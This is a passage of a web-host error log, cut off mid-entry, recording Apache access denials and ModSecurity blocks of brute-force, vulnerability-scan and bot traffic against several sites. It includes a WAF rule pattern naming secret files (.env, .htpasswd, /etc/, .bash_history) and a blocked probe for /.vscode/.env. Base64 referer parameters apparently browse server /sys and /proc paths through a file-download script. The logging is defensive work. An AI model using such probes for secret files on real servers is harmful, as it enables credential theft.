server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:50.344640 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.99:65250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:50.376391 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:15:50.376868 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:15:50.576531 2026] [security2:error] [pid 648189:tid 648327] [remote 81.77.11.197:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3ytlWSojQL4F7upKBXXAAAy2g"], referer: https://www.torquayfans.com [Sat Jun 13 18:15:50.576562 2026] [security2:error] [pid 648189:tid 648327] [remote 81.77.11.197:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3ytlWSojQL4F7upKBXXAAAy2g"], referer: https://www.torquayfans.com [Sat Jun 13 18:15:50.712406 2026] [security2:error] [pid 646876:tid 646911] [remote 168.63.79.147:35116] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3yttyTkdrNlD40tSGjNAAASyA"], referer: https://ameritekwater.com/wp-login.php [Sat Jun 13 18:15:50.756816 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.38:48443] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:50.757104 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.38:48443] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:50.782457 2026] [security2:error] [pid 648189:tid 648238] [remote 17.22.253.162:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 162.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ytlWSojQL4F7upKBXaQAAnBE"] [Sat Jun 13 18:15:50.808754 2026] [security2:error] [pid 648189:tid 648230] [remote 17.241.219.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ytlWSojQL4F7upKBXaAAA8Ao"] [Sat Jun 13 18:15:50.821477 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.53:45644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:50.821911 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.53:45644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:50.874010 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:50.874265 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:50.958624 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.59:27089] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:50.959051 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.59:27089] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:51.116329 2026] [security2:error] [pid 648189:tid 648473] [client 77.83.36.161:3695] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "silomaq.com"] [uri "/administrator/index.php"] [unique_id "ai3ytlWSojQL4F7upKBXcwAAAPc"] [Sat Jun 13 18:15:51.283227 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.90:36636] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:51.283487 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.90:36636] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:51.386097 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:15:51.386457 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:15:51.457698 2026] [access_compat:error] [pid 648189:tid 648247] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:15:51.458122 2026] [access_compat:error] [pid 648189:tid 648247] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:15:51.460526 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.45:20568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:51.460929 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.45:20568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:51.605815 2026] [security2:error] [pid 646876:tid 646885] [remote 209.42.18.223:50894] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.18.42.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "coscharis-tech.com"] [uri "/wp-login.php"] [unique_id "ai3yt9yTkdrNlD40tSGjWQAAVAY"] [Sat Jun 13 18:15:51.931590 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:15:51.932042 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:15:52.171813 2026] [security2:error] [pid 646876:tid 646892] [remote 17.246.15.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yuNyTkdrNlD40tSGjeQAAdg0"] [Sat Jun 13 18:15:52.238048 2026] [security2:error] [pid 646876:tid 647096] [client 172.56.168.133:21630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yuNyTkdrNlD40tSGjfgAAAFg"] [Sat Jun 13 18:15:52.242112 2026] [security2:error] [pid 646876:tid 647096] [client 172.56.168.133:21630] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yuNyTkdrNlD40tSGjfgAAAFg"] [Sat Jun 13 18:15:52.268370 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.59:27105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:52.268836 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.59:27105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:52.304123 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:14906] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.vscode/.env"] [unique_id "ai3yuFWSojQL4F7upKBXmQAAAKk"] [Sat Jun 13 18:15:52.424113 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:15:52.424546 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:15:52.953672 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.104:21604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:52.954090 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.104:21604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:52.956659 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:15:52.957049 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:15:53.025263 2026] [access_compat:error] [pid 648189:tid 648304] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:53.031476 2026] [access_compat:error] [pid 648189:tid 648304] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:53.052659 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.62:62102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:53.053070 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.62:62102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:53.338841 2026] [security2:error] [pid 648189:tid 648228] [remote 17.246.23.219:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 219.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yuVWSojQL4F7upKBXtQAA4Ag"] [Sat Jun 13 18:15:53.349575 2026] [security2:error] [pid 648189:tid 648370] [client 210.217.96.217:4123] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yuVWSojQL4F7upKBXtgAAAJY"] [Sat Jun 13 18:15:53.349769 2026] [security2:error] [pid 648189:tid 648370] [client 210.217.96.217:4123] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yuVWSojQL4F7upKBXtgAAAJY"] [Sat Jun 13 18:15:53.462520 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=uevent&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:53.462974 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=uevent&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:53.507457 2026] [security2:error] [pid 646876:tid 646987] [remote 190.92.141.186:48100] ModSecurity: Access denied with code 409 (phase 1). RBL 